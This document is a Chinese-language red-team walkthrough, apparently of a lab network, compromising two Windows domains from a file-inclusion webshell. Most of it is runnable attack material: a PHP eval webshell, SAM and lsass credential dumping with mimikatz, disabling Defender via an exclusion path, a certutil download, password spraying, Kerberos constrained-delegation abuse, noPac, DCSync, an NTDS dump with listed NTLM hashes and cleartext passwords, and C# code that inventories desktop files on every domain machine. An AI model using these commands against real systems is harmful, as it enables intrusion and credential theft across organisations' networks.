渗透过程
物理机网段:192.168.1.1/24

上传.php文件拦截

上传.aaa文件拦截,白名单验证,00阶段和解析漏洞均无解。尝试dirsearch看下目录。

存在1.php
upload.php

index.php 可知存在文件包含


http://www.hongduilanjun.com/index.php?url=./upload/1.jpg

ipconfig /all 查看得知工作组

存在192.168.111.1/24 段。代理忽略。
抓本地密码
- reg save hklm\sam sam.hiv
- reg save hklm\system system.hiv

如果解不开明文可以用certutil进行下载
certutil.exe -urlcache -split -f http://192.168.111.138/1.zip
导出sam表move到web路径下为zip,下载到本地mimikatz解密。删除webshell上zip文件
mimikatz.exe "log" "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"
得到hash: administrator:a0f42e3f2c62fe3977e87c4ed35c0f7f
获取lsass进程
- copy c:\windows\system32\comsvcs.dll c:\programdata\1.dll
- tasklist /svc | findstr "lsass"
- rundll32.exe c:\programdata\1.dll, MiniDump lsass_pid c:\programdata\temp.dmp full

同理move 到web路径为zip格式下载回来,mimikatz解密。
mimikatz.exe "log" "sekurlsa::minidump temp.dmp" "sekurlsa::logonPasswords full" "exit"
webshell机器为windows server 2016,且lsass无其他用户密码。

wmihashscan得到111.108 administrator用户hash

nbtscan得知存在双域

wimiexe得到testredteam.local域机器 192.168.111.108当前为本地administrator权限

systeminfo为windows server2008机器可以尝试抓到明文密码,切可能存在域内用户hash。我们可以与webshell机器建立ipc把lsass进程dump的内存传递给web目录进行下载。这台域机器没有得到任何域用户只得到了administrator的明文密码为yicunyiye123..
目前得到的信息为:
- webshell:192.168.111.138 workgroup administrator:yicunyiye123..
- testredteam.local域机器:192.168.111.108 administrator:yicunyiye123..
- testredteam.local 域控为:192.168.111.116
尝试ms17010 zerologon 均无果。psexec提权为system权限先看看testredteam域内信息。
这里的时候webshell被杀了,虽然是虚拟机下的df也不至于原始一句话不被杀,执行了这么久被杀,离谱。重新上传webshell。
- function ass(){
- function req($a){
- $b = $_POST[$a];
- return $b;
- }
- $d = req('x');
- eval($d);
-
- }
- ass();
- ?>
tasklist /svc 得知是df。wmi直接加白。
WMIC /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="c:/users/administrator/desktop/"
psexec上传到webshell机器上 与192.168.111.108建立ipc连接。

得到testredteam.local域内信息:

这里要查看域控机器,命令如下:net group "domain computers" /do 存在双引号闭合问题,直接写为bat去执行(其他命令类似思路)。

目前得到testredteam.local域信息为:
- domain users:
- Administrator
- angle
- angle1
- baby
- jack
- test
- tom
- web
- wsad.w
- zz
-
- domain controllers:
- 192.168.111.116
尝试使用yicunyiye123..密码去碰撞domain users

得到域用户web-yicunyiye123..
使用sharpDomain去dump域内组织架构(红队蓝军内网培训c#开发工具)

暂时未发现张三用户在testredteam.local域。因为在某些内网中管理员acl配置不当可能导致全域拥有dcsync权限,或者前辈来过。所以看看是否存在dcsync或者adminsdholer后门是很有必要的。
c#代码查询dcsync后门 取完全控制权限

或者存在3条acl交集下的用户(哪3条?就是那个3条)



c#代码查询adminsdholder后门

不存在后门或者配置不当。

看看委派信息。

可以看到WIN-CO3OLUGK1S9机器存在对DC的cifs服务存在约束性委派。
首先dump出WIN-CO3OLUGK1S9机器hash,然后move webshell下载

得到WIN-CO3OLUGK1S9机器hash为:420590bba2dc05ee36d2a3589d1f71d9
首先使用kekeo请求用户的TGT:
tgt::ask /user:WIN-CO3OLUGK1S9 /domain:testredteam.local /NTLM:420590bba2dc05ee36d2a3589d1f71d9 /ticket:test.kirbi

得到TGT_WIN-CO3OLUGK1S9@TESTREDTEAM.LOCAL_krbtgt~testredteam.local@TESTREDTEAM.LOCAL.kirbi
然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问DC CIFS的ST
tgs::s4u /tgt:TGT_WIN-CO3OLUGK1S9@TESTREDTEAM.LOCAL_krbtgt~testredteam.local@TESTREDTEAM.LOCAL.kirbi /user:Administrator@testredteam.local /service:cifs/WIN-AG37AJNA8A6.testredteam.local
这里会得到S4U2Self获取到的ST1和S4U2Proxy获取到的ST2票据。注入ST2。
kerberos::ptt TGS_Administrator@testredteam.local@TESTREDTEAM.LOCAL_cifs~WIN-AG37AJNA8A6.testredteam.local@TESTREDTEAM.LOCAL.kirbi

拿下域控

或者尝试nopac
- noPac.exe -domain testredteam.local -user web -pass yicunyiye123.. /dc WIN-AG37AJNA8A6.testredteam.local /mAccount test23 /mPassword test!!..123 /service ldap /ptt /impersonate Administrator
-
- mimikatz.exe "log" "lsadump::dcsync /domain:testredteam.local /user:administrator" "exit"

得到testredteam.local的hash:9a055ccb341690394b8d53407f889403

dump ntds
- mkdir c:\test\
- powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"


得到testredteal.loca hash:
- Administrator:500:aad3b435b51404eeaad3b435b51404ee:9a055ccb341690394b8d53407f889403:::
- Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e702408f354095864c7fa10755e00a7c:::
- admin08:1104:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- test:1105:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- test:1106:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- test:1107:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
- jack:1108:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
- tom:1109:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
- angle:1110:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
- angle1:1111:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
- baby:1112:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
- zz:1113:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
- it:1114:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- wsad.w:1115:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
- web:1116:aad3b435b51404eeaad3b435b51404ee:a0f42e3f2c62fe3977e87c4ed35c0f7f:::
得知域内默认密码为P@ssw0rd。使用testredteam.local域内用户对redteam.local域进行用户名枚举。

得到存在3个用户:administrator,it,jack。继续ldap爆破

拿到了redteam.local域用户。

sharpDomain.exe -d 192.168.111.16 -u jack -p P@ssw0rd --GetUsers

用P@ssw0rd域内默认密码再次滚得到backup用户。


得到redteam.local域administrator的hash:852a844adfce18f66009b4f14e0a98de cmd解密得到为test123..
同理dump ntds,查看domaininfo.txt得知存在zhangsan用户:

编写infothief获取域内所有机器桌面文件。

- public static void DesktopFiles()
- {
- try
- {
- string DesktopFiles = "";
- //获取机器名
- StreamReader machine_name = new StreamReader(@"machine.txt");
- while (!machine_name.EndOfStream)
- {
- try
- {
- string machine = machine_name.ReadLine();
- if (IsMachineUp(machine))
- {
- //获取当前路径
- string currentpath = Directory.GetCurrentDirectory();
- DesktopFiles = currentpath + "\\TargetDesktopinfos";
- Directory.CreateDirectory(DesktopFiles);
-
- Console.ForegroundColor = ConsoleColor.Yellow;
- Console.WriteLine("[*]" + machine);
- Console.ForegroundColor = ConsoleColor.White;
- //获取users目录
- string userpath = @"\\" + machine + @"\c$\users";
- var user_list = Directory.EnumerateDirectories(userpath);
- if (Directory.Exists(userpath))
- {
- //创建机器名文件夹
- string MachineFolder = DesktopFiles + "\\" + machine;
- Directory.CreateDirectory(MachineFolder);
- foreach (string user in user_list)
- {
- string DesktopDirectoryPath = user + "\\desktop";
- string username = substring(user);
- if (Directory.Exists(DesktopDirectoryPath))
- {
- //创建用户名文件夹
- string UserFolder = MachineFolder + "\\" + username;
- Directory.CreateDirectory(UserFolder);
- //创建desktop.txt文件
- string Desktoptxt = UserFolder + "\\desktop.txt";
- StreamWriter sw = File.CreateText(Desktoptxt);
- sw.Close();
-
- string info_user = substring(user);
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("[*]" + info_user);
- Console.ForegroundColor = ConsoleColor.White;
-
- string[] AllFiles = Directory.GetFileSystemEntries(DesktopDirectoryPath, "*", SearchOption.AllDirectories);
-
- foreach (string file in AllFiles)
- {
- Console.WriteLine(file);
- string create_time = Directory.GetCreationTime(file).ToString();
- string writeFileTo = "create time:" + create_time + " " + file + "\r\n";
- File.AppendAllText(Desktoptxt, writeFileTo);
- }
- }
- else
- {
- continue;
- }
- }
- }
- }
- else
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[-]" + machine + " is down");
- Console.ForegroundColor = ConsoleColor.White;
- }
- }
- catch (System.Exception ex)
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[-] error");
- Console.WriteLine("[-] Exception: " + ex.Message);
- Console.ForegroundColor = ConsoleColor.White;
- continue;
- }
- }
- machine_name.Close();
- Console.WriteLine("[+]out put to:" + DesktopFiles);
- }
- catch (System.Exception ex)
- {
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("[-] error");
- Console.WriteLine("[-] Exception: " + ex.Message);
- Console.ForegroundColor = ConsoleColor.White;
- return;
- }
- }
先获取computers列表保存为machine.txt


得到张三存在的机器。